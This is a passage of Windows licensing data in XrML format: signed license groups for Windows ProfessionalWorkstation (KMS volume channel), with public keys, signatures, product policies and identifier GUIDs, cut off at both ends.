6vIuwVCuKbheOaPZijp+A06LTWXQkBypel9OtxmuTU/QgXEYZKSQHvHxCmT/tKJFEzoijInMusBU4Lg/R0WIpU+/9xL7etlJ0PNeJdnQwytG4MFHuc2U+hVgl/1Krf5sR5FRgclU8Tz8N2D1voUBamQcJCDkdEfsJ+Go0CZIeeUWxNtgyEgL8IQZnQOgwAOth+8Z0B0XeNoUqb45/xAlb1HUM1S4F5Jng66ON0maoADFoDPYSHLgnjlKW7l2gx6ASOKOhwglDqFOQRZb2wlNpwBaB9GyKa9Dt/Cr54Q3KuJgICDlnlRznB940nB7Qh+AhjUg1R/Y/10ty3ysNneX0bdN1JBFYD4RDJMTQ1M0lie3X1D/UEP2il5jPe4tU5FhYIM60gDwnIwckqzv4Zl+l4hfVfJn4VD+mFLO3hkngrYylKRwqcF4wPI9vUpQ1Pli0smjrC6ZJObA+LuY5kPr6Ypm4JKD6849BsDLYSJSoV2GfTB8zQ7oB8+qEL8mILozA9Ub25c/++c+rVFQQfONWjOTnKnjtWso4riBQSEJuOFmGavFhiMAQvfymM7+EHiuAitaPHveIv/qLUbjh9hw1vlouYcWOd61h8dQUfHL/PATIhrGWWsYJRinh4gLQDVPsA3USPjW78XbT8cqK+RPIA3A/8cry/TtYOszyDFuu6B/w2D7wY3u7SBwt5XoljA0eWCQ0JHGPU5Zrw5ef65oyb/xk1gQsO7ZIRnPLWqW/aGfd++L04AS4hErKAIQOktbQcOLJoOysLgSipQ/kkL3Ap3v6yXFKWKgqAjFsvi0GsoP6y/C+0PFu5Aq6UVmenxPdcy/WuHF4mT00JXr/zmalUfnMsZAbCSuCmpgd0zqwuMuAV/TLagXd9UL4pDSmdxluNliCSQrIW0Tei+gQM08e9EbsU9NQknrgxrk+H3gn522/r9DABp7eN3Twn41UqCvSa+4tXq+FStS9zVt/Pv4YCGJ+RGNqDdTiAFWRRWy1I2QR8Dl1X4ISx2XVme4ONJ4PtA2HdQIXTilHzcH7YbuXO8F4OpGML3sjhyCnOVvsoo2vmDQzBMODa0wu1J2Mon7MFLGM3Acy4ANTL0ztwQYsObnmwWDAH6s0MZ3H8TCwZvBKArCJLJwVykYPulyDsMXUzL4BvWeOJDMamJ1bzd7JYwReO1PMd1G8Mwy3FFksj2JzS5O1D62dQ+wtFX21KmP3jt49emCZParlLAMiy7iTghdcGpn8dSAh3A8AJhCQnwW6VJzy3k2G0U0KUtwztqgktQyGK9FkouFV1ClRUATdWtecq4vJ3wibBYlLUyBAEhn0eDpQhbZ9X2W1tDpYDhABTnx/WI0tXEwJ3IjmU7jTAC7Sltbv3383W/UjjC9xgyKcNHbvLH6D1Cz7aQ/O87C2KQQ8ivzRjh81PIv1z5ejE66FKB7BuhfEhSgrY0Tlp2KujAukHCD0eBw/nyuH5fBLdH717ZAoJR+X078GySsS5Rz8JJTNaBQsbnO589jf7rBxph6JuLBkHAZK2fSdafap4uUhkjFo6cwdnHsHlknLYfYcZhPasvkt7AX02qK5xHLGi8KZJEop+WQUQAv3bJ9x7bWt1YqSLnfLHAAvo4IxNQGl9k2yPCjjQQPPgCuUeV7N5ozDLicxt/2SducgIzaAD0uhP+r1mFpyqnWsLhgt2WboCxE5CZsJ7gcx4T1GLD1e9Wkh1SajRkiQ+cBRG8joI/mD2xA3Kzs10c+X+yl0JIQpwP8W59S+BSdafIi7pZlF0Cg8XYxakN3SLd5JTLUbJMGEGbTFhmP5dnprf3b29nBfDlgQ9N+0nupXSy0fr7ziddBJ8BcswXLC+Ota0K76CEUIzZ/8DNLBhMI0IDhSW294VA1Xm8AN/PAPdlhUaxKV/kg8RTK2vDqtHaRHD9FYPAN2mIIbaKwECFZtPZ+gsH/1fedm9EOMtxASjSUVQ+iwxHqZ5+yNjszKeA3cQtVvivrhkW48VUy67Gh4IyiGb91ZynQ8TxyMD44uC4g7f7AXXWh8Iw3gqpG0hffqRCNLfmoB1Yk5hT8AbhWUQ77gLJvffo9T2DPgNNawDyh3q6AxOOd9JmLOou4qWUWazX6fICDBeBojsRKXbgeSE8xEeN6MCrVxSu/sTlEFwxss8iF2zSAcCAAEABQABAAIAAQAHAAMAAQAHABM=</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{5367901b-3dfa-4089-a6f2-7328cbd4ff8c}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>oR27UKWMXaK5dO8/3cV6mqbGRkY=</DigestValue></Reference></SignedInfo><SignatureValue>KmXMcbcdqlGm/5r9hl+IZJSflmIoHyZ0y0AUYsO1qxXTV9s2r/jBoe4Ho1SY1pkeXPv/bST5uSySG0eIyaxuDsiMiKoQfzgt9kvskeBGfiyc12M0JmUf/EkAiYshQuy+u65RQC9J9ZTHwjNBOodQwAH7jqzSxQ/XezJw7O+ek9IYzLDbdaO4lMT0ZXDtR7hqFHc1gfLuPRWbkPc56FWW0a9um1lrFEBodF0fPJPSY7r1jq99hDtAhcalXeorHyKeIuT9cB8+tPWaYk+ULC3R4pEkwt0q9UErpCKQdHQfiK11Bd70pxjG/J+Sog1y78rU68q4oisK5lV3FoCGqeeFdw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{463c131e-dec7-4ac4-a951-53027ecb8142}</tm:infoStr><tm:infoStr name="productSkuId">{d552befb-48cc-4327-8f39-47d2d94f987c}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{d0f77784-9c0c-407b-9b06-938192fb33fe}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {e1c51358-fe3e-4203-a4a2-3b6b20c9734e}, {6d646890-3606-461a-86ab-598bb84ace82}, {bbb97b3b-8ca4-4a28-9717-89fabd42c4ac}, {cbdcb1ba-e093-4c81-a463-10775291fdf9}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{d552befb-48cc-4327-8f39-47d2d94f987c}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>AFtsUxcnCAZwx3w//QQ4oXUqeUw=</DigestValue></Reference></SignedInfo><SignatureValue>iGOLFykJw+UvbwekOsaDUg0CTZ32OEruOIE9ZSkLG5mxRoWzeXA8ZE0kB24L2ETEQvu5f7SAATdrAXw/JQo76b5KNLfzbz796RTL6jLw8Sx2TfNlC/m532YloMW3Nf5m+F4JgA8P5whG6iTBSe+eIxWwM6SmOmUWNycg0IsBbP5kXmvdlO+FivYqDQipfoA4hIi695t0UcQItcWxYxmxzqkBdJg/k/YFPqZ4favfwDQjfHzxuFg9BAC11ooeJrnzJuCZXQ+7huurWr3agkh6Yzmo+JWUH9uxOLf8sjyXEC56R0+7a/MLOhfnKOm2j1uNlfW3nJ/P5h2JXVlT6ylzOw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{d552befb-48cc-4327-8f39-47d2d94f987c}</tm:infoStr><tm:infoStr name="privateCertificateId">{359486a2-b5ad-469f-b74b-dfd9b842895e}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 channel</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{359486a2-b5ad-469f-b74b-dfd9b842895e}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>lMmO5DCxcEbYdlnWazNe7RLjIdM=</DigestValue></Reference></SignedInfo><SignatureValue>PlDW2yci1OWNcqXghcjoJyxY+qYMuLax2rrIyJn2cq9H368svUJoBJias8MBqxnbPXeVj1le4dxs8t0EGVlXBgl+XJRwAo4bPTu2XshlteHwUCsUTfozZixURwaLjLQW5ukGj1uf47jwsQUh5sENX4EXUYkm12pqJVzL9bnpIvRHKMvEEW5OlUsOA0wRTxMqxe2CXEZCeTG6QJMkz+1laAIsNXSC96bBLtgepDbrKTM3IQWQr+pJnXzpRbWoYaJSqtkaxMoQ2NblAr8nmN3PkGQCY1v4lw5AsTf1DumPISLd1uIt6ctNDDERN27T3Afxaal9hOVXeuuZYdFLZoyb6g==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{d0f77784-9c0c-407b-9b06-938192fb33fe}</tm:infoStr><tm:infoStr name="productSkuId">{d552befb-48cc-4327-8f39-47d2d94f987c}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="clip:policy">1</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{6aacd89e-310e-49da-82b2-e291660c5585}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {11B15659-E603-4CF1-9C1F-F0EC01B81888}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies><sl:proxyExecutionKey xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:proxyExecutionKey><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAAFAAAA</sl:data></sl:externalValidator></r:allConditions><mx:renderer><sl:binding varRef="binding"/><sl:productId varRef="productId"/></mx:renderer></r:allConditions></r:grant><r:allConditions><sl:businessRules xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:businessRules></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod 